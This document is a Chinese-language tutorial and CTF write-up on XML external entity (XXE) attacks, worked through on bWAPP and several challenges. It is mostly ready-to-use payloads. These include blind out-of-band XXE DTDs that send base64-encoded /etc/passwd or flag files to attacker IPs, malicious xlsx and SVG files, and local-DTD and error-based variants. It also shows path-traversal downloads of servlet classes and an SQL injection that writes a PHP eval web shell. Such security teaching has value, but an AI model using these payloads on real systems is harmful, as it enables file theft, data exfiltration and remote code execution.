对于传统的XXE来说,攻击者只有在服务器有回显或报错的情况下才能使用XXE漏洞来读取服务器端文件。 例如
<!ENTITY file SYSTEM "file:///etc/passwd">
<username>&file;</username>
如果服务器没有回显,只能通过Blind XXE构造一条外带信道来提取数据,也就是数据外带。
xml.php
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">
payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
这样就实现了外带数据的效果,完美解决了XXE无回显的问题
下面用bWAPP靶场来示例一下有回显XXE和无回显的区别
点击Any bugs抓包查看正常请求,可以看到其中的XML文档
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "http://192.168.115.142/bWAPP/robots.txt">
]>
<reset><login>&file;</login><secret>Any bugs?</secret></reset>
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<reset><login>&file;</login><secret>Any bugs?</secret></reset>
payload
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/bWAPP/xxe-1.php">
]>
<reset><login>&file;</login><secret>Any bugs?</secret></reset>
由于bWAPP没有无回显靶场,这里用来测试一下数据外带的思路
我们先在vps上传一个test.dtd文件,内容如下
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://116.62.211.134:2333/?p=%file;'>">
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://116.62.211.134/test.dtd">
%remote;%int;%send; ]>
<reset><login>bee</login><secret>Any bugs?</secret></reset>
Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。
poi-ooxml-3.10-FINAL.jar及以下版本
[Content-Types].xml
修改[Content_Types].xml,在第二行加入以下内容
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/file.dtd">
%remote;%int;%send;
]>
压缩成zip后再修改后缀为.xlsx
在vps上新建一个file.dtd文件,内容如下
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">
vps开启监听,上传xlsx文件后外带出数据
上传一个文件后可以点击下载
修改filename为../
后得到一个Java的报错信息
这里用目录穿越读取WEB-INF下的web.xml文件
DownloadServlet?filename=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
可以看到有UploadServlet、DownloadServlet、ListFileServlet三个class文件
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
依次下载下来后用jd-gui反编译成Java源代码,关键代码在UploadServlet.class第63行起
如果是以excel-
开头的xlsx文件,就会调用WorkbookFactory.create去处理文件,从而触发XXE
vps上传一个dtd文件,内容如下
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.2.73.65:2333?p=%file;'>">
将excel解压后,修改[Content-Types].xml,在第二行后加入以下内容
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://174.2.73.65/xxe.dtd">
%remote;%int;%send;
]>
vps上开启监听
nc -lvvp 2333
SVG是一种图像文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。
SVG是一种用XML定义的语言,使用 XML 格式定义图形。SVG 文件是纯粹的 XML。
既然svg也是xml格式,自然可以用来xxe,下面给出有回显和盲打的payload
xxe.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
<!ENTITY % send "<!ENTITY res SYSTEM 'http://116.62.211.134:8088/?a=%file;'>">
xxe.svg
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY >
<!ENTITY % remote SYSTEM "http://116.62.211.134/xxe.xml" >
%remote;%send;
]><svg height="100" width="1000">&res;</svg>
这道题应该是加了白,如果请求的文件不是svg的话会返回Unauthorized type!
传入一个svg会成功加载
xxe.svg
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY >
<!ENTITY % remote SYSTEM "http://yourip/xxe.dtd" >
%remote;%data;
]>
<svg height="100" width="1000">
&res;
</svg>
xxe.dtd
<!ENTITY % show SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
<!ENTITY % data "<!ENTITY res SYSTEM 'http://yourip:your port/?%show;'>">
根据比赛时候的hint读取一下history
/home/r1ck/.bash_history
cd /app
php -S 0.0.0.0:8080
得知在app目录下另起了一个web服务,开在8080端口
读取一下/app/index.php的源码
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
<?php
$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');
if ($_GET['id']){
$id = $_GET['id'];
}
else
$id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);
?>
payload
1' union select 1,'<?php var_dump(12);eval($_REQUEST[a]);?>',3 into outfile '/app/shell.php
写shell进去,读取H3re_1s_y0ur_f14g.php文件拿到flag
以上都是引入外部服务器的OOB XXE,虽然好用,但是有一个软肋。当服务器配置好防火墙,禁止服务器请求外网dtd文件的话,就无法接受到数据了。
这时候就可以考虑利用本地dtd来进行XXE
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
<!ENTITY % local_dtd SYSTEM "file:///C:Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
test.dtd
<!ENTITY % start "<!ENTITY % error SYSTEM 'file:///fakefile/%file;'>">
%start;
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "https://www.0xdawn.cn/test.dtd">
<!ENTITY % file SYSTEM "file:///flag">
%remote;
%error;
]>
<message>0xdawn</message>
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file://fakefile/?%file;'>">
%eval;
%send;
'>
%local_dtd;
]>
<message>0xdawn</message>
payload
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY % error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>0xdawn</message
但是对于三层嵌套参数实体构造的payload有些XML解析器是无法检测出来的
当我们把Content-type修改为application/xml后,得知缺少xml格式
Start tag expected, '<' not found, line 1, column 1
当我们把json格式数据转化为xml格式时,提示缺少dtd文件
Validation failed: no DTD found !, line 2, column 9
我们来添加一个简单的实体引用看看会发生什么
No declaration for element message, line 5, column 20
没有元素消息的声明,显然解析器需要在DTD中声明已定义的元素,我们给出定义
最终得到了正确的响应,响应格式也从json变为了xml解析器
让我们来试一下加载本地文件
internal error: xmlParseInternalSubset: error detected in Markup declaration
, line 1, column 1
得到了一个标记错误,这意味着文件已经成功加载,但因为不符合xml格式,所以中断了
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///fakefile/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<message>&id;</message>
成功在报错中取回文件内容